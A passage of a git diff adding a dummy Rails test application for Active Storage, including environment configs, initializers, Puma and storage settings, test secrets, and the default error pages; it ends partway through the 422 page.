+
+  # Assume all access to the app is happening through a SSL-terminating reverse proxy.
+  # Can be used together with config.force_ssl for Strict-Transport-Security and secure cookies.
+  # config.assume_ssl = true
+
+  # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+  # config.force_ssl = true
+
+  # Log to STDOUT by default
+  config.logger = ActiveSupport::Logger.new(STDOUT)
+    .tap  { |logger| logger.formatter = ::Logger::Formatter.new }
+    .then { |logger| ActiveSupport::TaggedLogging.new(logger) }
+
+  # Prepend all log lines with the following tags.
+  config.log_tags = [ :request_id ]
+
+  # "info" includes generic and useful information about system operation, but avoids logging too much
+  # information to avoid inadvertent exposure of personally identifiable information (PII). Use "debug"
+  # for everything.
+  config.log_level = ENV.fetch("RAILS_LOG_LEVEL") { "info" }
+
+  # Use a different cache store in production.
+  # config.cache_store = :mem_cache_store
+
+  # Use a real queuing backend for Active Job (and separate queues per environment).
+  # config.active_job.queue_adapter     = :resque
+  # config.active_job.queue_name_prefix = "dummy_production"
+
+  config.action_mailer.perform_caching = false
+
+  # Ignore bad email addresses and do not raise email delivery errors.
+  # Set this to true and configure the email server for immediate delivery to raise delivery errors.
+  # config.action_mailer.raise_delivery_errors = false
+
+  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
+  # the I18n.default_locale when a translation cannot be found).
+  config.i18n.fallbacks = true
+
+  # Don't log any deprecations.
+  config.active_support.report_deprecations = false
+
+  # Do not dump schema after migrations.
+  config.active_record.dump_schema_after_migration = false
+end
diff --git a/activestorage/test/dummy/config/environments/test.rb b/activestorage/test/dummy/config/environments/test.rb
new file mode 100644
index 0000000000000..bdc6e053126bf
--- /dev/null
+++ b/activestorage/test/dummy/config/environments/test.rb
@@ -0,0 +1,80 @@
+require "active_support/core_ext/integer/time"
+
+# The test environment is used exclusively to run your application's
+# test suite. You never need to work with it otherwise. Remember that
+# your test database is "scratch space" for the test suite and is wiped
+# and recreated between test runs. Don't rely on the data there!
+
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # While tests run files are not watched, reloading is not necessary.
+  config.enable_reloading = false
+
+  # Eager loading loads your entire application. When running a single test locally,
+  # this is usually not necessary, and can slow down your test suite. However, it's
+  # recommended that you enable it in continuous integration systems to ensure eager
+  # loading is working properly before deploying your code.
+  config.eager_load = ENV["CI"].present?
+
+  # Configure public file server for tests with Cache-Control for performance.
+  config.public_file_server.headers = {
+    "Cache-Control" => "public, max-age=#{1.hour.to_i}"
+  }
+
+  # Show full error reports and disable caching.
+  config.consider_all_requests_local       = true
+  config.action_controller.perform_caching = false
+  config.cache_store = :null_store
+
+  # Raise exceptions instead of rendering exception templates.
+  config.action_dispatch.show_exceptions = :rescuable
+
+  # Disable request forgery protection in test environment.
+  config.action_controller.allow_forgery_protection = false
+
+  # Store uploaded files on the local file system in a temporary directory.
+  config.active_storage.service = :local
+
+  SERVICE_CONFIGURATIONS = begin
+    config_file = Rails.root.join("../service/configurations.yml")
+    ActiveSupport::ConfigurationFile.parse(config_file, symbolize_names: true)
+  rescue Errno::ENOENT
+    puts "Missing service configuration file in #{config_file}"
+    {}
+  end
+
+  config.active_storage.service_configurations = SERVICE_CONFIGURATIONS.merge(
+    "local" => { "service" => "Disk", "root" => Dir.mktmpdir("active_storage_tests") },
+    "local_public" => { "service" => "Disk", "root" => Dir.mktmpdir("active_storage_tests"), "public" => true },
+    "disk_mirror_1" => { "service" => "Disk", "root" => Dir.mktmpdir("active_storage_tests_1") },
+    "disk_mirror_2" => { "service" => "Disk", "root" => Dir.mktmpdir("active_storage_tests_2") },
+    "disk_mirror_3" => { "service" => "Disk", "root" => Dir.mktmpdir("active_storage_tests_3") },
+    "mirror" => { "service" => "Mirror", "primary" => "local", "mirrors" => ["disk_mirror_1", "disk_mirror_2", "disk_mirror_3"] }
+  ).deep_stringify_keys
+
+  config.action_mailer.perform_caching = false
+
+  # Tell Action Mailer not to deliver emails to the real world.
+  # The :test delivery method accumulates sent emails in the
+  # ActionMailer::Base.deliveries array.
+  config.action_mailer.delivery_method = :test
+
+  # Print deprecation notices to the stderr.
+  config.active_support.deprecation = :stderr
+
+  # Raise exceptions for disallowed deprecations.
+  config.active_support.disallowed_deprecation = :raise
+
+  # Tell Active Support which deprecation messages to disallow.
+  config.active_support.disallowed_deprecation_warnings = []
+
+  # Raises error for missing translations.
+  # config.i18n.raise_on_missing_translations = true
+
+  # Annotate rendered view with file names.
+  # config.action_view.annotate_rendered_view_with_filenames = true
+
+  # Raise error when a before_action's only/except options reference missing actions
+  config.action_controller.raise_on_missing_callback_actions = true
+end
diff --git a/activestorage/test/dummy/config/initializers/assets.rb b/activestorage/test/dummy/config/initializers/assets.rb
new file mode 100644
index 0000000000000..2eeef966fe872
--- /dev/null
+++ b/activestorage/test/dummy/config/initializers/assets.rb
@@ -0,0 +1,12 @@
+# Be sure to restart your server when you modify this file.
+
+# Version of your assets, change this if you want to expire all your assets.
+Rails.application.config.assets.version = "1.0"
+
+# Add additional assets to the asset load path.
+# Rails.application.config.assets.paths << Emoji.images_path
+
+# Precompile additional assets.
+# application.js, application.css, and all non-JS/CSS in the app/assets
+# folder are already added.
+# Rails.application.config.assets.precompile += %w( admin.js admin.css )
diff --git a/activestorage/test/dummy/config/initializers/content_security_policy.rb b/activestorage/test/dummy/config/initializers/content_security_policy.rb
new file mode 100644
index 0000000000000..b3076b38fe143
--- /dev/null
+++ b/activestorage/test/dummy/config/initializers/content_security_policy.rb
@@ -0,0 +1,25 @@
+# Be sure to restart your server when you modify this file.
+
+# Define an application-wide content security policy.
+# See the Securing Rails Applications Guide for more information:
+# https://guides.rubyonrails.org/security.html#content-security-policy-header
+
+# Rails.application.configure do
+#   config.content_security_policy do |policy|
+#     policy.default_src :self, :https
+#     policy.font_src    :self, :https, :data
+#     policy.img_src     :self, :https, :data
+#     policy.object_src  :none
+#     policy.script_src  :self, :https
+#     policy.style_src   :self, :https
+#     # Specify URI for violation reports
+#     # policy.report_uri "/csp-violation-report-endpoint"
+#   end
+#
+#   # Generate session nonces for permitted importmap, inline scripts, and inline styles.
+#   config.content_security_policy_nonce_generator = ->(request) { request.session.id.to_s }
+#   config.content_security_policy_nonce_directives = %w(script-src style-src)
+#
+#   # Report violations without enforcing the policy.
+#   # config.content_security_policy_report_only = true
+# end
diff --git a/activestorage/test/dummy/config/initializers/filter_parameter_logging.rb b/activestorage/test/dummy/config/initializers/filter_parameter_logging.rb
new file mode 100644
index 0000000000000..adc6568ce8372
--- /dev/null
+++ b/activestorage/test/dummy/config/initializers/filter_parameter_logging.rb
@@ -0,0 +1,8 @@
+# Be sure to restart your server when you modify this file.
+
+# Configure parameters to be filtered from the log file. Use this to limit dissemination of
+# sensitive information. See the ActiveSupport::ParameterFilter documentation for supported
+# notations and behaviors.
+Rails.application.config.filter_parameters += [
+  :passw, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn
+]
diff --git a/activestorage/test/dummy/config/initializers/inflections.rb b/activestorage/test/dummy/config/initializers/inflections.rb
new file mode 100644
index 0000000000000..3860f659ead02
--- /dev/null
+++ b/activestorage/test/dummy/config/initializers/inflections.rb
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new inflection rules using the following format. Inflections
+# are locale specific, and you may define rules for as many different
+# locales as you wish. All of these examples are active by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.plural /^(ox)$/i, "\\1en"
+#   inflect.singular /^(ox)en/i, "\\1"
+#   inflect.irregular "person", "people"
+#   inflect.uncountable %w( fish sheep )
+# end
+
+# These inflection rules are supported but not enabled by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.acronym "RESTful"
+# end
diff --git a/activestorage/test/dummy/config/locales/en.yml b/activestorage/test/dummy/config/locales/en.yml
new file mode 100644
index 0000000000000..6c349ae5e3743
--- /dev/null
+++ b/activestorage/test/dummy/config/locales/en.yml
@@ -0,0 +1,31 @@
+# Files in the config/locales directory are used for internationalization and
+# are automatically loaded by Rails. If you want to use locales other than
+# English, add the necessary files in this directory.
+#
+# To use the locales, use `I18n.t`:
+#
+#     I18n.t "hello"
+#
+# In views, this is aliased to just `t`:
+#
+#     <%= t("hello") %>
+#
+# To use a different locale, set it with `I18n.locale`:
+#
+#     I18n.locale = :es
+#
+# This would use the information in config/locales/es.yml.
+#
+# To learn more about the API, please read the Rails Internationalization guide
+# at https://guides.rubyonrails.org/i18n.html.
+#
+# Be aware that YAML interprets the following case-insensitive strings as
+# booleans: `true`, `false`, `on`, `off`, `yes`, `no`. Therefore, these strings
+# must be quoted to be interpreted as strings. For example:
+#
+#     en:
+#       "yes": yup
+#       enabled: "ON"
+
+en:
+  hello: "Hello world"
diff --git a/activestorage/test/dummy/config/puma.rb b/activestorage/test/dummy/config/puma.rb
new file mode 100644
index 0000000000000..09a5c4b7865e7
--- /dev/null
+++ b/activestorage/test/dummy/config/puma.rb
@@ -0,0 +1,38 @@
+# This configuration file will be evaluated by Puma. The top-level methods that
+# are invoked here are part of Puma's configuration DSL. For more information
+# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.
+
+# Puma can serve each request in a thread from an internal thread pool.
+# The `threads` method setting takes two numbers: a minimum and maximum.
+# Any libraries that use thread pools should be configured to match
+# the maximum value specified for Puma. Default is set to 5 threads for minimum
+# and maximum; this matches the default thread size of Active Record.
+max_threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 }
+min_threads_count = ENV.fetch("RAILS_MIN_THREADS") { max_threads_count }
+threads min_threads_count, max_threads_count
+
+# Specifies that the worker count should equal the number of processors in production.
+if ENV["RAILS_ENV"] == "production"
+  worker_count = Integer(ENV.fetch("WEB_CONCURRENCY") { Concurrent.physical_processor_count })
+  workers worker_count if worker_count > 1
+end
+
+# Specifies the `worker_timeout` threshold that Puma will use to wait before
+# terminating a worker in development environments.
+worker_timeout 3600 if ENV.fetch("RAILS_ENV", "development") == "development"
+
+# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
+port ENV.fetch("PORT") { 3000 }
+
+# Specifies the `environment` that Puma will run in.
+environment ENV.fetch("RAILS_ENV") { "development" }
+
+# Specifies the `pidfile` that Puma will use.
+if ENV["PIDFILE"]
+  pidfile ENV["PIDFILE"]
+else
+  pidfile "tmp/pids/server.pid" if ENV.fetch("RAILS_ENV", "development") == "development"
+end
+
+# Allow puma to be restarted by `bin/rails restart` command.
+plugin :tmp_restart
diff --git a/activestorage/test/dummy/config/routes.rb b/activestorage/test/dummy/config/routes.rb
new file mode 100644
index 0000000000000..1daf9a4121a8b
--- /dev/null
+++ b/activestorage/test/dummy/config/routes.rb
@@ -0,0 +1,2 @@
+Rails.application.routes.draw do
+end
diff --git a/activestorage/test/dummy/config/secrets.yml b/activestorage/test/dummy/config/secrets.yml
new file mode 100644
index 0000000000000..59d832ec0625f
--- /dev/null
+++ b/activestorage/test/dummy/config/secrets.yml
@@ -0,0 +1,32 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key is used for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `bin/rails secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+# Shared secrets are available across all environments.
+
+# shared:
+#   api_key: a1B2c3D4e5F6
+
+# Environmental secrets are only available for that specific environment.
+
+development:
+  secret_key_base: e0ef5744b10d988669be6b2660c259749779964f3dcb487fd6199743b3558e2d89f7681d6a15d16d144e28979cbdae41885f4fb4c2cf56ff92ac22df282ffb66
+
+test:
+  secret_key_base: 6fb1f3a828a8dcd6ac8dc07b43be4a5265ad64379120d417252a1578fe1f790e7b85ade4f95994de1ac8fb78581690de6e3a6ac4af36a0f0139667418c750d05
+
+# Do not keep production secrets in the unencrypted secrets file.
+# Instead, either read values from the environment.
+# Or, use `bin/rails secrets:setup` to configure encrypted secrets
+# and move the `production:` environment over there.
+
+production:
+  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
diff --git a/activestorage/test/dummy/config/storage.yml b/activestorage/test/dummy/config/storage.yml
new file mode 100644
index 0000000000000..927dc537c8a6c
--- /dev/null
+++ b/activestorage/test/dummy/config/storage.yml
@@ -0,0 +1,27 @@
+test:
+  service: Disk
+  root: <%= Rails.root.join("tmp/storage") %>
+
+local:
+  service: Disk
+  root: <%= Rails.root.join("storage") %>
+
+# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
+# amazon:
+#   service: S3
+#   access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
+#   secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
+#   region: us-east-1
+#   bucket: your_own_bucket-<%= Rails.env %>
+
+# Remember not to checkin your GCS keyfile to a repository
+# google:
+#   service: GCS
+#   project: your_project
+#   credentials: <%= Rails.root.join("path/to/gcs.keyfile") %>
+#   bucket: your_own_bucket-<%= Rails.env %>
+
+# mirror:
+#   service: Mirror
+#   primary: local
+#   mirrors: [ amazon, google, microsoft ]
diff --git a/activestorage/test/dummy/lib/assets/.keep b/activestorage/test/dummy/lib/assets/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/activestorage/test/dummy/log/.keep b/activestorage/test/dummy/log/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/activestorage/test/dummy/public/400.html b/activestorage/test/dummy/public/400.html
new file mode 100644
index 0000000000000..f59c79ab82f05
--- /dev/null
+++ b/activestorage/test/dummy/public/400.html
@@ -0,0 +1,114 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The server cannot process the request due to a client error (400 Bad Request)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100vh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/400.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm115.583 168.69891c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm140.456 133.2831c-40.823 0-64.884-35.146-64.884-85.7015 0-50.5554 24.061-85.700907 64.884-85.700907 40.822 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.062 85.7015-64.884 85.7015zm0-133.2831c-17.573 0-22.71 21.8984-22.71 47.5816 0 25.6835 5.137 47.5815 22.71 47.5815 17.302 0 22.709-21.898 22.709-47.5815 0-25.6832-5.407-47.5816-22.709-47.5816z" fill="#f0eff0"/><path d="m123.606 85.4445c3.212 1.0523 5.538 4.2089 5.538 8.0301 0 6.1472-4.209 9.5254-11.298 9.5254h-15.617v-34.0033h14.565c7.089 0 11.353 3.1566 11.353 9.2484 0 3.6551-2.049 6.3134-4.541 7.1994zm-12.904-2.9905h5.095c2.603 0 3.988-.9968 3.988-3.1013 0-2.1044-1.385-3.0459-3.988-3.0459h-5.095zm0 6.6456v6.5902h5.981c2.492 0 3.877-1.3291 3.877-3.2674 0-2.049-1.385-3.3228-3.877-3.3228zm43.786 13.9004h-8.362v-1.274c-.831.831-3.323 1.717-5.981 1.717-4.929 0-9.083-2.769-9.083-8.0301 0-4.818 4.154-7.9193 9.581-7.9193 2.049 0 4.486.6646 5.483 1.3845v-1.606c0-1.606-.942-2.9905-3.046-2.9905-1.606 0-2.548.7199-2.935 1.8275h-8.197c.72-4.8181 4.985-8.6393 11.409-8.6393 7.088 0 11.131 3.7659 11.131 10.2453zm-8.362-6.9779v-1.4399c-.554-1.0522-2.049-1.7167-3.655-1.7167-1.717 0-3.434.7199-3.434 2.3813 0 1.7168 1.717 2.4367 3.434 2.4367 1.606 0 3.101-.6645 3.655-1.6614zm27.996 6.9779v-1.994c-1.163 1.329-3.599 2.548-6.147 2.548-7.199 0-11.131-5.8151-11.131-13.0145s3.932-13.0143 11.131-13.0143c2.548 0 4.984 1.2184 6.147 2.5475v-13.0697h8.695v35.997zm0-9.1931v-6.5902c-.664-1.3291-2.159-2.326-3.821-2.326-2.99 0-4.763 2.4368-4.763 5.6488s1.773 5.5934 4.763 5.5934c1.717 0 3.157-.9415 3.821-2.326zm35.471-2.049h-3.101v11.2421h-8.806v-34.0033h15.285c7.31 0 12.35 4.1535 12.35 11.5744 0 5.1503-2.603 8.6947-6.757 10.2453l7.975 12.1836h-9.858zm-3.101-15.2849v8.1962h5.538c3.156 0 4.596-1.606 4.596-4.0981s-1.44-4.0981-4.596-4.0981zm36.957 17.8323h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.515-13.0143 7.643 0 11.962 5.095 11.962 12.5159v2.1598h-16.115c.277 2.9905 1.827 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.822-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm30.98 27.5234v-10.799c-1.163 1.329-3.6 2.548-6.147 2.548-7.2 0-11.132-5.9259-11.132-13.0145 0-7.144 3.932-13.0143 11.132-13.0143 2.547 0 4.984 1.2184 6.147 2.5475v-1.9937h8.695v33.726zm0-17.9981v-6.5902c-.665-1.3291-2.105-2.326-3.821-2.326-2.991 0-4.763 2.4368-4.763 5.6488s1.772 5.5934 4.763 5.5934c1.661 0 3.156-.9415 3.821-2.326zm36.789-15.7279v24.921h-8.695v-2.16c-1.329 1.551-3.821 2.714-6.646 2.714-5.482 0-8.75-3.5999-8.75-9.1379v-16.3371h8.64v14.288c0 2.1045.996 3.5997 3.212 3.5997 1.606 0 3.101-1.0522 3.544-2.769v-15.1187zm19.084 16.2263h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.515-13.0143 7.643 0 11.963 5.095 11.963 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.822-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm13.428 11.0206h8.474c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.939-1.5506l-4.873-.9969c-4.154-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.762-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.741-8.2518zm27.538-.8861v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.205v6.7564h-5.205v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.993-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.871 0-9.193-2.769-9.193-9.0819z" fill="#d30001"/></svg>
+      </header>
+      <article>
+        <p><strong>The server cannot process the request due to a client error.</strong> Please check the request and try again. If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/activestorage/test/dummy/public/404.html b/activestorage/test/dummy/public/404.html
new file mode 100644
index 0000000000000..26d16027c6a4c
--- /dev/null
+++ b/activestorage/test/dummy/public/404.html
@@ -0,0 +1,114 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The page you were looking for doesn't exist (404 Not found)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100vh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/404.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm115.583 168.69891c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm165.328-35.41581-45.689 100.02991h26.224v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.184v-31.901l50.285-103.27391z" fill="#f0eff0"/><path d="m157.758 68.9967v34.0033h-7.199l-14.233-19.8814v19.8814h-8.584v-34.0033h8.307l13.125 18.7184v-18.7184zm28.454 21.5428c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.528 0c0-3.4336-1.496-5.8703-4.209-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.209-2.3813 4.209-5.8149zm13.184 3.8766v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.205v6.7564h-5.205v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm37.027 8.5839h-8.806v-34.0033h23.924v7.6978h-15.118v6.7564h13.9v7.5316h-13.9zm41.876-12.4605c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.529 0c0-3.4336-1.495-5.8703-4.208-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.208-2.3813 4.208-5.8149zm35.337-12.4605v24.921h-8.695v-2.16c-1.329 1.551-3.821 2.714-6.646 2.714-5.482 0-8.75-3.5999-8.75-9.1379v-16.3371h8.64v14.288c0 2.1045.997 3.5997 3.212 3.5997 1.606 0 3.101-1.0522 3.544-2.769v-15.1187zm4.076 24.921v-24.921h8.694v2.1598c1.385-1.5506 3.822-2.7136 6.701-2.7136 5.538 0 8.806 3.5997 8.806 9.1377v16.3371h-8.639v-14.2327c0-2.049-1.053-3.5443-3.268-3.5443-1.717 0-3.156.9969-3.6 2.7136v15.0634zm44.113 0v-1.994c-1.163 1.329-3.6 2.548-6.147 2.548-7.2 0-11.132-5.8151-11.132-13.0145s3.932-13.0143 11.132-13.0143c2.547 0 4.984 1.2184 6.147 2.5475v-13.0697h8.695v35.997zm0-9.1931v-6.5902c-.665-1.3291-2.16-2.326-3.821-2.326-2.991 0-4.763 2.4368-4.763 5.6488s1.772 5.5934 4.763 5.5934c1.717 0 3.156-.9415 3.821-2.326z" fill="#d30001"/></svg>
+      </header>
+      <article>
+        <p><strong>The page you were looking for doesn't exist.</strong> You may have mistyped the address or the page may have moved. If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/activestorage/test/dummy/public/422.html b/activestorage/test/dummy/public/422.html
new file mode 100644
index 0000000000000..ed5a5805d0e5f
--- /dev/null
+++ b/activestorage/test/dummy/public/422.html
@@ -0,0 +1,114 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The change you wanted was rejected (422 Unprocessable Entity)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100vh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/422.html -->
+
+    <main>
+      <header>
